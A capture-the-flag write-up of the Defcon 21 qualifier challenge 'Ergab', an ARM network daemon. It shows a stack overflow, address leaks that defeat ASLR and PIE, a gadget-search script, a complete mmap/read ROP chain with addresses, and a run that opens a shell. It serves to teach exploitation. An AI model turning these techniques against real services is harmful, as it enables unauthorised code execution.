Defcon 21 CTF quals , pwnables 3: Ergab write-up

The following write-up is about the third exploitation challenge for the 2013 Defcon qualifications round. The target is an ELF binary for 32 bit ARM and it’s basically a small daemon that asks a few questions, then if the answers are correct, it asks the user to insert a string, and exits (a new subprocess is respawned on every connection).

Knowing (almost) nothing about ARM during the game, i wasn’t able to crack it. I did it now, and found it fun enough to be worth a write-up

The vulnerability is very easy to spot, the function reading the user name can write into a char[10] buffer up to 100 bytes, causing a buffer overflow:

.text:00001704 MOV R0, R2 (socket)
.text:00001708 MOV R1, R3 (fixed char[10] buf)
.text:0000170C MOV R2, #0x100 (size to copy)
.text:00001710 MOV R3, #0xA (terminator char)
.text:00001714 BL readUsrString

The crash in gdb after entering a msf pattern as the name:

0x61413560 in ?? () 
(gdb) i reg
r0 0x1 1
r1 0x9 9
r2 0x0 0
r3 0x1 1
r4 0x0 0
r5 0x7ef59c88 2130025608
r6 0x76f6c344 1995883332
r7 0x0 0
r8 0x0 0
r9 0x0 0
r10 0x76f78114 1995931924
r11 0x41346141 1093951809
r12 0x76f6ed70 1995894128
sp 0x7ef59bc8 0x7ef59bc8
lr 0x76d43dc8 1993620936
pc 0x61413560 0x61413560
cpsr 0xa0000030 -1610612688
(gdb) i stack
#0 0x61413560 in ?? ()
#1 0x76d43dc8 in ?? () from /lib/arm-linux-gnueabihf/libc.so.6
#2 0x76f40f90 in ?? () from /usr/lib/arm-linux-gnueabihf/libstdc++.so.6
Cannot access memory at address 0x41346141
#3 0x76f40f90 in ?? () from /usr/lib/arm-linux-gnueabihf/libstdc++.so.6
Cannot access memory at address 0x41346141
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/20xw $sp
0x7ef59bc8: 0x37614136 0x41386141 0x62413961 0x31624130
0x7ef59bd8: 0x41326241 0x62413362 0x35624134 0x41366241
0x7ef59be8: 0x62413762 0x39624138 0x41306341 0x63413163
0x7ef59bf8: 0x33634132 0x41346341 0x63413563 0x37634136
0x7ef59c08: 0x41386341 0x64413963 0x31644130 0x41326441

Quite trickier is the exploitation part, since ASLR and NX are enabled on the server and the binary is compiled as a PIE executable. Some kind of ROP chain is needed, but since nothing is known about the stack or libc addresses we need to cause some memory leaks to get some information on how to create our exploit.

We can see that the binary has a function that loads a memory address and a size value from the stack and sends that memory block to the client:

ergab-dosend

If we had knowledge of the position of this function (which we currently don’t, remember it’s a PIE binary) and of the start address of libc it’d be possibile to leak it all and then search it for useful gadgets. For this method to work 3 things are needed:

  • control of r11 (aka fp), but we can see from the previous crash that we have it
  • knowledge of stack addresses, since we need to load r11 with an address inside our buffer and then place all our parameters accordingly.
  • knowledge of the binary position in memory

So, we just need some addresses. Since the binary echoes back to the user the string sent as name, i tried sending strings of increasing length starting from the buffer max size, and see if something leaks.  I don’t have to wait long, sending a 11 chars buffer (+ ‘\n’), i got back a few addresses from the process memory. Apparently one is a stack address and another is an address in the .text section of the binary. Yuppiee!

Now i just need to know where the libc starts. There’s more that one approach here, one is to infer the GOT position in the binary from what we already know, and leak libc addresses from there. Or i can try again the previous method, and keep increasing the string size, see if the magic happens again, this is definitely the laziest method and the one more prone to the failure.

Luckily enough, sending a 52 chars buffer (+ ‘\n’):

[...]
000000d0 0a 43 6f 72 72 65 63 74 21 21 0a 0a 41 41 41 41 |.Correct!!..AAAA|
000000e0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
00000110 0a d3 f9 76 01 0a e4 76 90 31 51 77 e4 31 51 77 |...v...v.1Qw.1Qw|
00000120 10 32 51 77 05 0a |.2Qw..|
00000126

This contains, after the buffer itself, a probably partially overwritten piece of address from a code section (maybe a byte less would have returned the full address but since the last byte was so irrelevant i didn’t even test it) and an address from one of the libc sections (everything easily verified from GDB with the “info files” command). So, i just had to calculate the offsets to my “sendStr” gadget and the start of the .text section of libc and i was able to put together the code to start leaking the whole libc.

I put together all the various piece of codes in a python script that just connect to the server and automatically start leaking some large memory area where it assumes the libc should be, searching for a certain ARM opcode, and if it is found, save it on a file, with its position and, if desired, the nearby instructions as well.

Since i really couldn’t be bothered to integrate my script with some ARM assembler/disassembler to search for specific instructions, i decided my strategy would be to disassemble some libc code from a test box, decide on a ROP chain and then search the desired opcodes/addresses in the target memory.

Example: Let’s say I want to find the address for the read function, i’ll look for the “mov r7, #3” gadget, which is typically found before the actual syscall, then, using the opcodes found before -or after- i can compare all the results with my locally disassembled version of the library and calculate the exact starting address of the function.

mov r7, #3 => e3a07003
$ ./ergab-searchgadgets.py -i 0xe3a07003 -t localhost -p 5002
[+] first connect, solve questions and leak stack and baseaddr
[+] leaked stack address: 0x7ec13bdc
[+] leaked exe address: 0x76fe4678
[+] base address: 0x76fe3000
[+] finding libc
[+] leaked libc address: 0x76e87a01
[+] starting search for gadgets at 0x76dba4a0
[+] passing questions
[+] leaked chunk of size: 1435
[+] found 0 gadgets
[+] starting search for gadgets at 0x76dbaaa0
[+] passing questions
[+] leaked chunk of size: 1435
[+] found 0 gadgets
[+] starting search for gadgets at 0x76dbb0a0
[...]
$ cat gadgets_list.txt
------------
0x76e2e5f8: 0xe3a07003
0x76e2e5fc: 0xef000000
0x76e2e600: 0xe1a0700c
0x76e2e604: 0x312fff1e
0x76e2e608: 0xeafe35e8
0x76e2e60c: 0xe320f000
------------
0x76e2e624: 0xe3a07003
0x76e2e628: 0xef000000
0x76e2e62c: 0xe1a0700c
0x76e2e630: 0xe3700a01
0x76e2e634: 0x312fff1e
0x76e2e638: 0xeafe35dc
------------
0x76e2e64c: 0xe3a07003
0x76e2e650: 0xef000000
0x76e2e654: 0xe1a07000
0x76e2e658: 0xe1a0000c
0x76e2e65c: 0xeb00bd1d
0x76e2e660: 0xe1a00007
------------

At this, point, since i could know the position of everything in memory and control pc, the purpose of my ROP chain was the following:

  • allocate a memory area with read and execute permissions (mmap)
  • receive some shellcode from the user and write it into the newly allocated space (read)
  • jump into the shellcode

After some experiments, i wrote a ROP chain that required 2 instructions and 2 functions addresses:

1) pop {r2, r5, pc}
2) pop {r0, r1, r3, r4, r6, r7, r8, ip, lr, pc}
3) mmap address
4) read address

The 2nd pop is the critical part, allowing to jump to an arbitrary function, loading a whole bunch of registers, and at the same time setting an arbitrary return address with lr. The first pop is just needed to load the missing r2 parameter.

The resulting ROP chain for my Debian 7 test qemu box(*) (yes, there’s a lot of padding):

build_rop=[
 0x76de084d, #pop {r2, r5, pc}
 0x7, #proto
 0x0, #off
 0x76de802c, #pop {r0, r1, r3, r4, r6, r7, r8, ip, lr, pc}
 0x1000000, #address
 0x2000, #length
 50, #flags
 0x0, #fd
 0xcacc013,
 0xcacc013,
 0xcacc013,
 0xcacc013,
 0x76de084d, #pop {r2, r5, pc} #0x76e4aaf0, #read
 0x76e52d00, #mmap
 0x2000, #count
 0x0, #this is padding, but need null as is offset for mmap
 0x76de802c, #pop {r0, r1, r3, r4, r6, r7, r8, ip, lr, pc}
 0x8, #fd
 0x1000000, #buf
 0xcacc013,
 0xcacc013,
 0xcacc013,
 0xcacc013,
 0xcacc013,
 0xcacc013,
 0x1000000, #jmp in the buf
 0x76e4b610 #read 
]

At this i just wrote another script to just send the ROP chain and then the shellcode:

$ ./ergab-exp.py -t localhost -p 5002
Correct!!

Correct!!

Correct!!

Correct!!

Correct!!

What is your name:
[+] solved questions, sending payload and shellcode
[+] send shellcode
[+] check for shell
$ nc -vv localhost 4444
localhost [127.0.0.1] 4444 (?) open
id
uid=1001(ergab) gid=1001(ergab) groups=1001(ergab)

Pwned!

All code on Github:  https://github.com/m0t/rand0m/tree/master/ergab

(*) Details of my test box:
Linux debian-armhf 3.2.0-4-vexpress #1 SMP Debian 3.2.51-1 armv7l
libc: 2.13-38+deb7u1 armhf.
A different OS or version might need a completely different ROP chain, since the 2 pop instructions are not common and may very likely not be present in other libc packages.